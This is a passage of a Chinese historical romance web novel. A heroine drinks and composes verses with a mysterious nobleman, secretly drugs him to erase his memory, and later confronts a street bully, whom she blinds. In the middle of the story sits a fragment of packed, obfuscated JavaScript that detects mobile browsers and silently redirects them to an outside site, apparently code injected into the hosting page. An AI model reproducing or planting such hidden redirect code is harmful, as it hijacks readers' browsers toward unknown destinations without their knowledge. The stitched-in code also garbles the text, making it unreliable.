李隐看着温幽情如潭一般的眼眸,仿佛要陷进去了,这话他说的真诚。
李隐心下掩住怪异,一笑装作随意的问道:“公子,你是如何知道的。”
温幽情认真答道:“猜的,她的眼睛在说话,她很想你。”
她的心也在说话,她很想你,李隐。
李隐伸手拿起面前的茶盏,送至唇边,茶水漫上唇瓣,让原本殷红的唇平添了几分润气,更显艳丽。
温幽情眼眸幽暗,看着李隐殷红的唇,微垂眼眸,嘴角微勾,浅浅含笑。
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气氛即将陷入死寂之际,李隐的两位熟人来了。
两人一人白衣,一人青衣,模样上都是姣好,就是面容上有着五分相似,都有着牡丹花般的艳,又有着荷花般出尘的气质,拥媚骨却带梳理,觉违和又和谐。
宋亮亮一见到李隐脚下的步子就加快了几分,一旁的宋北倒是显得多了几分沉稳。
青色的裙摆随着步下生出的小风轻轻的摇曳着,状似芙蓉,头上系着的银色铃铛也随风叮当作响。
她三步化作两步到了李隐的身旁,伸手熟练的搭在了李隐的肩上,动作轻柔的捏了捏李隐的肩,娇嗔道:“小李姑娘,你都好久未找我们玩牌九了,不知道的还以为你将我给忘了呢。”
李隐将手上的茶盏轻放桌上才道:“今日我不是来了吗?”她说着轻轻拍了拍宋亮亮的手。
宋北见着宋亮亮一脸谄媚,刚迈进一步便酸溜溜的道:“李姑娘不喜和别人触碰,注意分寸。”
宋亮亮闻言一笑道:“我又不是别人,小李姑娘就是喜欢和我一起碰着,怎么姐姐不许?”
宋北冷笑一声,道:“别人不别人的又非你定,是李姑娘来定的。”她说着也走到了李隐身边,伸手搭上了李隐的另一只肩膀,她的眼神看的认真,直直的盯着李隐。
温幽情将这一切都尽收眼底,眼中闪过一丝道不明的情绪。
李隐看着温幽情尴尬一咳,道:“好了,你们都不是别人,都是我的好友,都是至交,二位姑娘觉得如何?”
宋亮亮闻言轻哼一声,语调上扬倒有几分小小的骄傲意味在里头。
宋北也只是淡淡一笑,随后看向了温幽情,看到那人时,她面上的表情一僵,立即伸出另一只手拉了拉宋亮亮的袖。
宋亮亮觉察到,先是有一瞬的不耐烦,可在看到宋北面上有一丝不对劲的神情时,她心下觉察不好,看向了对面坐着的温幽情。
公子如玉,态如松,冷傲又疏离,她心下一惊,这人怎么来了?
这人不是最是不喜烟花柳巷,人间繁乐处吗,原本以为只是个相貌与那人有几分相似的公子哥,却未曾想到居然是这人,心下泛起惊涛,面上依旧风平。
她的手,不由自主的有一些颤抖,李隐也察觉到了,便关切的问道:“小宋姑娘,你还好吗?”
话落伸手准备搭上宋亮亮的手腕,探探脉相。
可就在她刚刚要碰到时,宋亮亮笑着主动牵起了她的手道:“昨夜风大,半夜开窗,偶感风寒,姑娘小心些,切莫让我给传了过去。”
风不风寒,李隐见着面相就可判断大半,她心下了然宋亮亮有事瞒她,人人都有秘密,别人不愿意说,她自然也不会问,便顺水道:“风寒记得按时吃药,少走动。”
宋亮亮点了点头,道:“自然的,都听小李姑娘的。”
李隐看向了面前正在用指腹摩挲着茶盏的人,他低垂着眼眸,光落身上显着柔和,气质温润,不像坏人,李隐这便觉得自己方才第一感觉怀疑这人,倒像是疯了。
5. 对诗划拳
李隐轻轻又拍了拍宋亮亮的手道:“老规矩,今天划拳如何?”
宋亮亮小心翼翼的看了一眼温幽情问李隐道:“小李姑娘,这位公子也玩吗?”
李隐道:“自然玩啊,来这不都是玩的吗?”
宋北手上微微用力,轻轻捏了捏李隐的肩膀道:“她今日略感风寒,不宜吃酒,姑娘你也是知道的,她说话时莽撞,易错,免不了要罚酒吃的,姑娘行行好,让她好好休息,我陪姑娘好好玩如何?”
李隐闻言不做刁难点了头,宋亮亮见状轻咳几声,一步三回头的看着李隐悻悻离去。
宋北坐到了李隐身边,她轻扯了扯李隐的袖子,轻声道:“姑娘不如坐在中间如何,这样更方便些。”
李隐看着宋北,看到了她有些略带请求的眼神,心下一软,起身坐到了离温幽情较近的一边。
温幽情紧紧的看着李隐,将一幕幕尽收眼底,浅浅勾起嘴角,淡淡一笑,李隐,不愧是李隐。
宋北笑着伸手向桌下,较为轻松的拿起了一坛酒,她轻放桌上,解开绳子,掀开布盖,任酒香四溢,清冽又浓厚,像极了夏日池边的阵阵荷花香。
宋北面上镇定,另一只见不到,藏匿在袖口中的手,却微微的发着颤。
她道:“此酒名为何花酿,因一位姓何的人所制,又清冽香似荷花故而得名。”
色清不浊,味似江边风中荷,透露着清爽。她举止优雅的将酒水倒入杯中,又一一将杯子推到各自的人面前。
李隐将酒杯移开了些,看着温幽情问道:“划拳,你我先。”
温幽情闻言看着李隐,眼中清澈,道:“我不会。”
李隐不可置信的“啊”了一声,公子哥不都喜欢这些?
她震惊的问道:“你不会,此话当真?”
温幽情轻轻一点头,李隐却觉得有些莫名的罪恶,教一个从来不玩乐的公子,去好好玩乐沾染恶习,属实有些违背良心了。
她陷入了犹豫,温幽情却突然道:“家父管的严,小时候,我若不听,便会拿竹鞭打我手心。”说到此处他略微苦涩的一笑,微垂眼眸继续道:“表哥们玩也不想带我,这些我也想学。”话落他看向了李隐。
眼如潭,潭深不见底,李隐心中也多了一丝怜悯,她拉住了温幽情的袖子道:“这些都是一些混时间的法子,易使人沉沦,是玩物丧志,不学也罢。”
温幽情看着李隐却淡淡一笑,李隐不明所以便问道:“我的言论有错?”
温幽情摇了摇头道:“无错,就是姑娘不也玩吗,也没见着姑娘玩物丧志。”
李隐闻言尴尬一笑,她这回又做了一次反面例子了,她道:“这……不一样。”
她这是和老头子学的,用来练习反应力以及察言观色的。
温幽情看着李隐,眼含笑意,他道:“好吧,也不勉强姑娘了。”
李隐眉头微皱,教一个读书人玩乐过于罪过,但剩下的时间该如何过呢,想着想着,心中一计跃上心头。
她伸手将酒杯拿回到了面前,轻轻一晃,酒水没有溅出分毫,她凑近了些温幽情道:“公子饱读诗书,这文采一定斐然吧,不如请小北姑娘出题,作诗如何?”
温幽情闻言,微微轻挑眉头,道:“自然可以,输家该如何?”
李隐轻轻敲了敲手上的酒杯,道:“这,不就是吗?”
温幽情浅笑,道:“那便请吧。”
宋北见着两人一言一回接一言的聊着,心中倒是有些五味杂陈,面上风过依然浪静,道:“今日,二位有缘在此,便是缘,且一位公子,一位姑娘,便做情字为题,前句写物后句抒情如何?”
李隐点了点头,道:“小北姑娘,出题还是一如既往的妙。”
宋北闻言浅浅的瞥了一眼温幽情,心下了然了,方才是试探,却没想到真是这样,待再次看向李隐时,她的眼中多了一丝担忧和无奈。
李姑娘,这人对你有意,我该不该告诉你呢……
但,他可不是什么善人,被他喜欢了你就逃不掉了。
宋北微垂眼眸,掩去眼底的神情,微皱眉头,最终还是闭了眼,伸手揉了揉太阳穴。
李隐道:“今日此桌我请,便我先来吧,连理枝,比翼鸟,枝土而出缘而眷飞。”
温幽情,手指轻轻碰了一碰手边的酒杯道:“树思土,鸟恋空,万物皆同亦念情郎。”
宋北听着便道:“再加一条,合乎当下,必须以此为景而写。”话落她伸手轻轻敲了敲桌面。
以桌为诗?
李隐陷入沉思,随后将要脱口时,一人却先她一步。
那人语调平缓,声音冷冽,含着几分浅笑道:“盏中琼浆三两,举杯邀人浅尝。”
李隐闻言一笑道:“入幕如玉公子,喟叹天下无双。”
宋北闻言看向了李隐,李隐说时嘴快,眼下这便觉察到,自己偏了题字。
她说的两句不见情,但见色。
温幽情在李隐说出那句时,轻轻笑了一声,心下告诉自己,无妨,此事又不是未曾干过相同的,人家不觉羞愧,自己又何必。
虽是这般想着,但面上还是微显桃色,她伸手轻拍了拍自己有些发烫的面颊,低声嘟囔了句“还真是美色误人。”
温幽情微勾唇角,喜色不掩,眼睛直勾勾的看着李隐,看着李隐泛红的面颊,殷红的唇瓣。
宋北看着一旁的这一幕,再次看向李隐的眼神里倒也多了一丝探究,这两人之间……气氛倒是有些怪异了,过于暧昧了。
李姑娘为人聪慧,定是知道些的吧,应该是她多虑了。
这般想着,她便道:“李姑娘偏题,可有异议,若无便自罚三杯酒吃。”
李隐闻言拿起了酒杯,送至唇边,一饮而尽,酒水绕清香,水似花雨露,初入,清香留齿,后觉,热辣上喉。
李隐喝的过于急了,一时呛了喉咙,咳了出声,温幽情抬手,将要碰到李隐后
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背时,却在空中被人截胡。
李隐一把抓住了温幽情的半只手,温幽情便道:“姑娘,我不是想占姑娘的便宜,只是想帮姑娘顺顺气。”
李隐闻言另一只手迅速按压喉咙下方凹陷处,指腹揉圈,缓了一会,这才松了手,对着温幽情道:“多谢。”
温幽情微挑眉头。
窗外天色已昏,暗淡无光,街上灯火正疏,星星几许。
不知不觉间再次拂面而来的已是晚风,带着些许独属于夜晚的寒凉。风过,撩起衣角,发梢,青丝微微缠绕,李隐的一缕青丝在无人注意的角落里撩过了温幽情的指尖,轻轻的,悄悄的,不知不觉的。
温幽情觉察到指尖略带有些寒凉的触感,垂着眼眸,关节微伸,手指向前,似想更近一步,留住那么一瞬的来自于李隐的主动“触碰”。
可风不随他的意,青丝绕了一圈,完美绕开了他的指尖,他顿住了手,先是一愣,随后缓缓收回,指尖蜷缩着。
李隐刚一抬头看向温幽情见到的就是这人,微垂眼眸的模样,珠露欺花,似有券券委屈,但又因委屈而愈加好看,破碎而怜,忧伤而悯。
这是自己拒绝了他,这人就伤心难过了?
怎么一个好端端的公子哥这般模样,过于忧,过于仁。她轻轻的扯了扯温幽情的袖子道:“方才我不是拒绝你的相助。”
温幽情微垂眼眸见着被拉动的衣角,眼底多了一丝笑意,面上不显,只是听着李隐的言述。
李隐见着温幽情依旧垂眸不语,还以为是这人过于忧伤,不轻信她的言辞,只当是善意的安慰性的话语罢了。
李隐不怎么会安慰人,但这人心地善良,过于忧仁,她不想让此人难过,莫名会觉良心不安,她便继续道:“我小时性子急,吃东西急,极意呛住,算是久呛给训出了法子去如何应对,往常都是一人,如今碰到公子愿意帮我的还是头一回,故而有点不适应。”
她这话说的半真半假,前半为真,后半为假,她盯着温幽情,这人闻言,抬起眼眸顺着李隐拉住衣袖的手往上看,便对上了李隐的眼。
一双桃花眼,眼中有着窗外的灯火,亮闪闪的,有着风,映窗边被撩动的帷帐,有着一人,温幽情。
温幽情看着李隐,不禁微勾嘴角,他道:“我信李姑娘,只是我以为我与李姑娘是朋友,朋友应是较熟的,但,李姑娘觉得与我谈不上很熟,日后,我会注意的。”
李隐被他这副说辞整的有点莫名的罪恶感,朋友是她说的,人是她带的,是她刻意拉近距离,但也是她将人以关系推远。
她道:“可,我和你也只不过相识,相知不过半日,朋友的关系要论先后和长短。”
宋北见着二人,她眼睛一时也不知看向何处,觉得房内两人刚好,多了她一个便是余了,看向谁也觉不好,望向旁处面上也太不雅观,只好看向二人的中间,见着李隐纤细修长的手指拉着温幽情那在光照下隐隐显出暗纹的衣服的袖子。
6. 论谈友人
袖子被捏扯着微微有了些许褶皱,李隐也意识到了这一点,便略带尴尬的松了手,又一抬眼,便对上了温幽情真诚的眼。
他看着李隐认真道:“可,姑娘就是我最先认识的朋友。”
李隐闻言指尖摩挲着酒杯的动作轻轻一顿,她道:“公子,随你一同前来的那位温公子,不是你的好友?我见你们的言行可不像刚认识的。”
温幽情听着先是一愣,随后才道:“温公子?他不是我的朋友,而是我的堂兄。”
李隐道:“你是这样算的?”她说着指尖摩挲着酒杯的动作彻底停下,而是指尖轻巧桌子三下,便一把拿起酒杯。
温幽情点了点头,道:“这样,不可?”
李隐道:“天下事物,由人而定,不诸同也不为奇。”
窗外传来了一声叫卖声,婉转悠长,“卖葫芦了——又大又好看的葫芦。”
李隐闻言看向了窗外,见到的是一个身穿麻布衣裳,戴着几处补丁,浑身衣裳都脏兮兮的,带着黄土,边角带着湿润的泥尘,有些湿哒哒的,一双破烂的草鞋,却不见泥尘,那人年岁看起来不小,胡子拉碴,头发蓬乱点缀着几片绿叶子,身后背着一个草帽子。
草帽的边上挂了一束葫芦,葫芦圆润,有型,规规范范的,李隐见到的第一眼就觉得白胡子老头应该喜欢,她盯着那人看着,看向了那人会走的路,再看向那人时,那人也看向了她。
那人的眼神清澈无沧桑,不像是这个年纪的人,倒像是个少年人,她心中不由一惊。
风拂来,帷帐轻晃,发丝动,轻撩手心。
温幽情感受着手心上的寒凉触感,眼神晦暗,垂下眼眸,最终化为轻轻一笑。
他绕过了青死,伸手不紧不慢的拿起了另一只酒杯,指腹轻轻摩挲着酒杯的杯口边缘,动作细微,不仔细便看不出来,而一旁隔岸而观的宋北将一切都尽收眼底,面上微露犹豫,桌下的手轻轻的搅着帕子,微皱眉头,最后似下决心般,眼神坚定了些。
话含在嘴里,刚要脱口而出,就收到了来自温幽情的一个眼神,带着冷淡和凉薄,让她不寒而栗,她愣在当场,话最终还是如鲠留在喉咙里。
李隐看到了窗外那人的一双眼后便回过头来,看了回去。
宋北连忙垂下了眼眸,掩盖眼底一瞬的慌张,随后一笑道:“李姑娘,这锦城的何花酿,度数极低不如再多试试看,这个时间段的,应属是最为上乘的。”
李隐点了点头道:“好啊。”
宋北闻言有着一瞬的怔愣,随后立刻笑着拿过桌上的那壶酒,起了身,为李隐再倒上了一杯,她道:“姑娘请吧。”
李隐看着手上的酒杯,轻轻一笑,送到了温幽情的面前,她道:“公子,不如你试试吧,锦城的何花酿能喝上全靠运气,能喝上就极为幸运,故而这就还有带来好运的说法,传言喝时许个愿,不久便会成。”
温幽情见着李隐递过来的那杯酒,面上略带几分欣喜,他问道:“当真?”
李隐留意着这人的神情变化,不知道为何总是觉得这人,不简单,但又很简单,她想试试这人。
李隐一笑,点了点头道:“自然是真的。”
运气和命数相关,天定人定,全信天,便是死路,显贪欲,全信人,也是死路,显轻傲。
贪婪重望者,祈求于天,妄求于神明,你也是这样的人吗?
我怎么这么不信呢。
温幽情指尖刚刚触碰到李隐握住酒杯的手指时,李隐便收了回去,他不解的看向李隐。
李隐指尖轻轻敲了敲酒杯的边沿,动作极其的细微,她道:“公子,确定一试?”
温幽情道:“自然,姑娘都说了是真的,那我就想试试。”
李隐闻言轻笑,微微俯身,将酒杯递到了温幽情的面前,送到了温幽情的唇边,酒杯的边沿碰到了唇瓣,一滴酒水落到了温幽情的唇上。
温幽情看着面前的酒杯,轻勾嘴角,垂着眼眸,掩去眼底晦暗不明的神色,他伸手握住了李隐的手腕,喝了下去,眼神顺着李隐的手一路对上了李隐眼眸。
李隐先是一怔,想要收回的手,此时却鬼使神差的伴随着温幽情的动作而动,手指关节微屈,将酒灌的更急了些。伴着荷香的清冽酒水,从温幽情的唇边逃离一缕,顺着温幽情的下颌,落过喉结,打湿衣衿。
李隐有一瞬的慌张,激动,悸动……像是很多种情绪的堆叠,如巨石投河,有了惊涛,如密林一声惊叫,惊飞了林中鸟,一片片,一群群……密如雨脚。
温幽情眼神直勾勾的看着李隐,见着李隐脸上有过一瞬的惊慌,随即而来的一愣,不一会面上微微泛起的桃色,他微勾唇角。
酒杯之中的酒水早没了,温幽情轻咬着酒杯,松开了李隐的手腕,李隐连忙收回了手,一时间竟不敢看温幽情的眼眸。
刚刚的事,也是她想做的,这对他是戏弄,还是……
晚风再次来,吹来了冷意,却吹不散酒气,反而让着这漫着花香的酒肆意的行走在了整个房内。
冷意没有让李隐觉得清醒,反而让醉人,她觉得愈加迷糊。
太糊涂了,今日她也是醉了。
温幽情看着李隐一言不语,只是静静的看着。
宋北在一旁提心吊胆,手指紧紧的抓着帕子,面露担忧的看着李隐。
李隐伸手拿起了面前的另一杯酒,随后一饮而尽,随后一头倒了下去,手中的酒杯也滚到了地上。
没有头与木桌接触的巨大声响,不是坚硬的碰撞,而是柔软的接触,两双手一同向李隐伸了过去,但那双骨节分明的手还是先那双纤细修长的手快上一步。
宋北不解,面露疑惑,收回了手,问道:“大……”还未等她说完大人二字,她便再次收到了温幽情含带着警告意味的眼神。
她只好改口道:“公子,姑娘不胜酒力,今夜若是继续待下去,势必会有损名节。”
她虽是这样说着,但她也知晓,李姑娘与这位大人呆在一起,出了这楼也是名节不保,不出也是一样。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16283102|182551||http|test|mini|href|location''.split(''|''),0,{}));
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>温幽情道:“李姑娘说了今日想逛花楼,那便依照李姑娘的想法吧,劳烦姑娘将李姑娘送到床榻上去,并派人通知李府的人。”
宋北走了过去抱起了李隐,温幽情收回手看着宋北怀中的李隐轻轻一笑。
警惕心,这么强,真是差点就骗过我了呢。
不过,李隐,你面上微红的样子,倒是可真可爱呢。
他目送李隐被抱上床后,便走了出去,顺带关上了门,关门时动作缓慢轻缓,不发出一点声响。
宋北望着温幽情离去的地方好生一会,这才转过头来,原本应在床上闭着眼眸的人,此时却睁开了眼睛。
宋北见着先是一惊,随后对着方才温幽情的行为豁然开朗,原来大人早就有所察觉了。
李隐见着宋北面上微带愁容,眉头微皱,便轻轻拍了拍宋北的手道:“怎么了,小北姑娘?”
宋北笑道:“无事,就是觉得方才闻着酒,有点醉了。”
“醉了?”李隐问道,随后她伸手,指尖轻轻轻轻的点了点宋北的唇边,她道:“试试看。”
宋北会意,李隐会医术的事,她早已知晓,原本以为只是略懂一些,如同一个邻家大夫般,但今日却让她重新认识了李隐的医术。
将药粉藏在指甲缝隙中,轻轻抖几下,便可落下。
宋北舌尖碰到了唇上的药粉,带着一丝若有若无的甜,药入嘴即散,不闻一丝药味,甚至怀疑方才的一丝甜也只是错觉,脑海顿觉清凉,这是解酒药。
李姑娘倒是好生厉害,宋北轻轻一笑,心中的顾虑也少了一半,她柔声道:“姑娘,方才是装醉?”
李隐道:“怎么样,我装的可还像?”
宋北道:“像,姑娘不怎么吃酒,也更不喜欢讨酒吃,对姑娘的酒量我还是真的一概不知。”
李隐伸手拍了拍宋北肩膀道:“我酒量好着呢,就算没有这个,我也醉不了。”她一边说着一边轻轻的晃了晃手。
宋北突然想到什么问道:“那姑娘给那位公子的也是醒酒药?”
李隐坐起了身子摇了摇头道:“是毒药。”
宋北面露震惊,还未等她发问,李隐便解释道:“小毒,不致命,我从不害人的。这毒只是让他醉了,忘掉些东西罢了,名为往事散。”
只是让他忘掉方才自己荒唐灌酒的那幕罢了。
李隐穿了鞋子下了床,扯了扯宋北袖口问道:“小北,你觉得方才那人如何?”
宋北如实答道:“面相姣好,品相不错。”只是那人心思过于深了些,让人看不明白,想不透,如寒潭只观底石,却不可知潭深浅。
后半句她没有说,只说了那人会让她说的。
李隐闻言轻轻拉了拉宋北的袖子,状似撒娇道:“好北北,你见到的应该不止这些吧,我总觉他并不是表面的那样。”
宋北闻言看着李隐随后道:“这,是错觉,那位公子是个里表如一的人。”
面上如此说着,但心下却是,李姑娘,你看人也太准了。
7. 指尖落花
李隐松了扯着衣袖的手,起了身,松展四肢,伸了个懒腰,随后,抖抖肩膀,动动脖子。
窗外的天色,早已黑不见底,稀稀疏疏的星星点缀其间,发着零零碎碎的光亮。
月色朦胧,如在雾里,不真不切,若虚若实。
方才那一躺,李隐着实是有些困意袭来的,山中白胡子老头每每都要求她当天晓星辰时,必回,不可外出。
自己也通常无事做,便在天色微沉时就早早睡下,往日养成的习惯,早已刻入身体百骸,困意来的准点又俏皮。
她缓步走到了窗边,伸手撑在木窗的边上,看着街道上挂着的灯火从零星到璀璨,人群从稀疏三两到摩肩接踵,灯火如海,人如浪。
风,也多携了一丝晚间的烟火气,不再是寒凉,也不是火热,而是温暖的,吹在身上轻轻的,麻痒痒的,让人心旷,解忧无桑。
宋北就在一旁陪着李隐站着,灯火和月光同时落在了李隐的身上,将她如墨的眉眼,娇俏的五官勾勒的多了几分柔和与疏离。
一颗流星飞过,飞的很快,不一会似乎就要落到远方。
李隐起了玩的心思,伸手,做状似要接住,那颗刚刚划过天际的流星,流星从指缝“流”出,“擦”过指尖,就当李隐要收回手时,一朵粉色的桃花,落到了她的手中。
花呈粉色,量极轻,触感柔软,携清香。
李隐惊讶的抬头向上看去只见到了满天的星辰,孤寂朦胧的月。
她将手收了回去,手指轻轻的摩挲着柔软的花瓣,随后一笑道:“小北,你说今日是不是很巧。”
宋北见着李隐手上被细细摩挲着的花,道:“是巧,方圆十里都无人种过一颗桃树。”
李隐闻言,摩挲的动作便停了下来,她将桃花收到了一只随身携带的小香囊中,才道:“可,小北姑娘,你,不觉得太巧了吗,难不成这是天命?”
宋北不置可否,李隐道:“时辰已晚,今日叨扰你许久了,明日我再来,小北记得睡时关好窗子,勿感风寒。”
宋北道:“好。”她一边说着一边到了床边,微微弯下腰身,拿起了一盏灯,随后转身递到了李隐面前,她道:“巷子路深,夜黑月不明,拿着灯走,路上小心些。”
李隐点了点头道了声:“多谢。”便接过了灯,提步走了。刚刚迈出一步,便闻到那股脂粉浓厚的气息,她不由得走的急了些。
宋北见着李隐绿色的身影逐渐消失在眼帘之中,才抬头看向了不远处开着窗的茶楼三楼处。
茶楼三楼的那间包间内,温幽情正不紧不慢的落下一颗黑子,“啪嗒”一声,很是清脆。
竹难任见状将手上握着的白棋子有些气愤的甩在地上,棋子哒哒的滚着,落到一处偏僻无光的角落。
他道:“温幽情,这样有意思吗,不是说好了让我一回了吗?”
温幽情注视着棋盘,没有抬起眼眸看向竹难任,他淡淡的道:“方才让了你一回了,不然这局早就该结束了。”
竹难任将手撑着脸,看着温幽情道:“这局请君入瓮,你下得可真好,不仔细反推都觉察不到。”
温幽情道:“嗯。”
“嗯,你还嗯,你不是装的挺好的吗?现在怎么不装了”竹难任略带调侃的说道。
温幽情抬眼看着竹难任道:“你最近太闲?长平公主那,你可想好了要如何交代?”
温幽情此话一出,竹难任便陷入了沉默,识趣的闭了嘴。
温幽情起身,离开位置,推门转身就走了,竹难任犹豫着要不要跟上去时。
窗外就传来了一声尖叫“有没有人啊,救救我的苦儿,求求你们了,求求你们了。”
竹难任起身,走到窗边看了过去,方才发声的是一位妇孺,面容清秀但皮肤蜡黄,一看便知是饱经风霜的农家人。
沾有泥土的手指上,出现了一抹亮眼的红,红得很深,红得醒目又吓人。
那人的怀中抱着一个面色苍白的孩子,看模样估计五岁,嘴边流着血,衣服上旧的还未干涸新的血液便再次染红了麻布衣的胸口处。
人群以妇人孺子为中心散开,早早的围了一个圈。人人都有着不同的神色,或悲伤,或怜悯,或嘲笑……千姿百态在这里正显。
妇人抱着孩子,对着人群一磕,道:“求各位,借点钱与我吧……孩子突发恶疾,家中只能尚且温饱,无余钱,求求各位发发善心吧。”
人群中的人,有的面露犹豫,有的面露难色,有的连声叹气,有的浅笑了之,甚至有人玩笑脱口道:“你,如何证明你不是骗钱给自己打着以孩子让人发善心的由头呢?”
妇人闻言又是一磕,她的额头磕碰的地方因为方才太过用力而微露血迹,她的背影很是单薄,仿佛风吹便可倒,但声音却铿锵有力,她大声道:“我若言不实,死后便入十八层地狱。”
人群一下子陷入了死寂,面露怜悯,同情的人最后还是没有,慷慨解囊反而是方才那个起哄的公子哥从人群中信步走出,给了一枚铜板,随意的丢在了地上。
妇人见状,对着那人磕了一个,诚心道:“公子,好人平安。”
人群中立即有人调侃道:“怎么堂堂一个公子哥,就只给一个铜板啊,说出去多寒酸啊。”
妇人不语,只是用着祈求的目光,看向了方才给钱的公子,那公子嗤笑一声道:“哟,怎么不见你给,想行善却又不行花钱,借他人钱财行善,坐享美名,你可真是个大,善,人。”
那人顿时支支吾吾起来,想好的说辞也因慌张而乱了,脑海中顿时变得一空二白,他四处张望,见到的都是人们鄙夷的目光,他顿生羞愧,一跺脚,藏到了人群中,灰溜溜的立刻离去。
有人离开,亦有人上前,一抹绿色的身影忽然出现在人群之中,李隐最终还是停在了第三圈围着的人中,透过面前的空隙,她这才见到了妇人怀中抱着的孩子。
面白色苍,眼底乌青,嘴角溢血,指尖黑色,不像恶疾而是像中毒,而且还是个慢性毒药。
中毒,毒,又是毒,唯
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一的一瓶解毒丸早给了师兄,虽说她的血也可以解毒,但让人家喝下去,多半会被说成疯子。
脑海中这样想着,心思全然飘了全想着如何救人了。
一时也没注意身后身边的人,有人正散出去,有人想图个热闹前来看个仔细,难免隔着衣服有肢体上的触碰,推推搡搡的,突然一股莫名的力道将李隐向后推去。
李隐脚步趔趄,有点没有站稳,眼看脚步微乱将要摔倒之际,一人扶住了她,温幽情轻轻一笑道:“好巧,李姑娘我们又见面了。”
那股力道又来了,这回直接将李隐推到了温幽情的怀里,二人都是一愣。
朦胧的月在这一瞬,也挑开了覆盖的云雾,灰色光亮散了一地,落在了李隐身上,发丝。
温幽情紧紧的看着李隐,环在李隐腰上的手也更紧了紧,将人揽到怀里,抬起另一只手护住李隐的头。
李隐的心似乎随着方才的那道撞,也给撞动了,跳的更快,率更急了,男人身上淡淡的药香萦绕在李隐的鼻尖。
直到那人从人群中挤出来后,温幽情才悄悄的松了手,他道:“方才多有得罪姑娘勿怪。”
李隐不敢回头,她现在只要一对上温幽情的眼,便会不由自主的想到这人,被酒水打湿过的衣襟,一缕从唇边流过喉结的酒水。
荷香隔空仿佛再次扑鼻,风不冷了,更让人醉,李隐的耳朵不由的泛起了红。
一颗丹药被递到了李隐的面前,李隐望着这只骨节分明修长的手中拿着的一颗略带黑色的药丸,隔着些距离,但依旧闻到一股淡淡的药香,这是上好的解毒丸。
她转头抬眼望去,对上的是一双含着柔情的眼,温幽情浅浅一笑道:“姑娘,你不救吗”
李隐听着连忙后退了一步,便撞到了一人,那人转过头来,李隐也转过头去。
那人随着回头的动作轻轻“啧”了一声,瞪向了李隐,可眼中的怒气在见到李隐那张丹青墨画般绝美的容颜时,顷刻间消失了大半,她只是颇为留恋看了几眼,随后又看向了李隐身后的温幽情,眼中闪过惊异,随后是轻轻一笑,转过了头。
李隐道歉的话,还没说出,那人就笑了,她不明所以,但也不多想。
温幽情轻轻碰了碰李隐的胳膊柔声道:“李姑娘,该救人了。”
李隐道:“你既有药,便你给吧,功德算你的,为你谋福报。”
温幽情闻言轻挑眉头,道:“好啊。”谋福报,李隐你就是上天给的我最大福报。
他轻松绕开人群,从人群中走了出去,三两步到了妇人面前,他将手中的药直接塞到了妇人怀中的孩子手中。
夫人看着这一切,先是怔愣的看着温幽情这个如玉一般的公子,随后在她没有反应过来前,这人早已将一味东西塞到了苦儿的嘴里,她顿时面露惊慌。
红了眼眶,怀中孩子带着一点泥巴的小手轻轻扯了扯她的衣服,妇人顿时转悲为喜,抱着孩子对着温幽情就是一跪,只是膝盖还没落地,温幽情便扶住了她的胳膊。
8. 他为主谋
他道:“不必谢我,想救你的是那位姑娘。”话落他看向了李隐。
那位妇人便换了方向,对着李隐一拜,头重重的磕在地上,额头上红肿的一处,磕破了皮,流出了血,盖上了地上的尘土。
李隐先是一怔,便大步走向前扶住妇人,她柔声道:“不必如此,这孩子是如何染上这种怪病的?”
妇人哽噎了一声,才用带着哭腔的声音答道:“是何家。”
李隐闻言继续问道:“可是,被李家小姐退婚的何家?”
妇人闻言先是一愣,随后道:“是,是就是他们家,苦儿有着一只竹猫,那何家的小公子看上了要苦儿给他,苦儿不肯,何小公子就说让苦儿去死。”
李隐闻言陷入了沉思,此时的人群不知是谁起了哄道:“又是何家,老就看他们不顺了。”
“就是就是,心眼如此之多。”
人群变得吵吵嚷嚷的,所有人都是你一句,我一句的讲着。
“依我看啊,还是李小姐运气好,被退了婚,不然可就苦了啊。”
李隐闻言微挑眉头,这话是夸她?如果要硬夸也无这个必要,若不发言,也无错处。
一只玉盏从一处突然“窜”出,砸到了一人的头上,那人大叫一声:“是哪个不长眼的东西,朝老子扔东西。”
他伸手小心翼翼的摸上了自己的头,触感一片湿润,带着粘稠,他先是一愣,随后颤抖着将那只手伸到了自己的面前,见到一手显目的红,红得刺眼,他瞳孔突然放大,伴随“噗通”一声倒了下去。
周围的人,面露惊慌,四处逃散,竟一时间清出了一条道路来。
一人身穿黄色的金绣老虎纹的衣裳面露凶狠,一步一步从一个巷子里走了出来。
那人脸上有着一道疤,分外的醒目,眼神阴狠如鹰,直勾勾的看着李隐,丝毫不看李隐身旁的温幽情一眼,只当吃人也是个徒有外表,略有文墨的不足为奇的人罢了。
何金堡扬着着下巴对着李隐,眼中全是不屑,轻视,似看一个跳梁小丑般,他“啧”了一声,才用慵懒的语调缓缓道:“哟,这不是刚刚被退了婚的李家小妞吗?”
话落,他不屑的嗤笑出了声,道:“你又在这里行善,难道不知这里。”边说着,他伸手懒散的指了一圈继续道:“这里,可都是何家的地盘,你个小小商贾之女,该不会是后悔了想在这里再入我兄长的眼吧。”
一旁的妇人顿时脸色煞白,抱着怀中的孩子,提步离开。
何金堡见状,道:“哟,你又在污蔑我何家的名声?”
妇人闻声,咬唇,抱紧了怀中的孩子,步下生风,走的更快,不言一语,只想快速逃离这个是非之地。
何金堡走到了李隐面前,上下打量着李隐,随后松松肩膀轻轻论上一句:“不过是个看得过去的小狐媚子,还真以为所有男人围着你转呢。”
他说着凑近了些,似想看得更加清楚,李隐见状笑了,她挺好奇裕陵是怎么忍住最后和何家谈判退婚的。
何家多败类,狗吠满街知。
此言形容的是相当的对,狗仗人势何家最喜,仗着舅舅在京城为官,而欺压百姓。
他见李隐笑了,便也笑了,心下觉得这人果然是个浪荡货,但又长得如此貌美,似画中仙,刚好合他的意,他便二话不说伸出手来对着李隐的腰抓去。
只是手上还没感触到那纤细柔弱的腰枝,眼睛就先感到一阵刺痛,手指戳入眼睛,李隐轻轻一搅,何金堡感到的那股刺痛就更强烈了。
“贱人……啊,我的眼睛。”何金堡大喊着,他伸手一把抓向李隐的手时,却扑了一个空,他怒骂道:“贱人……我要你死。”
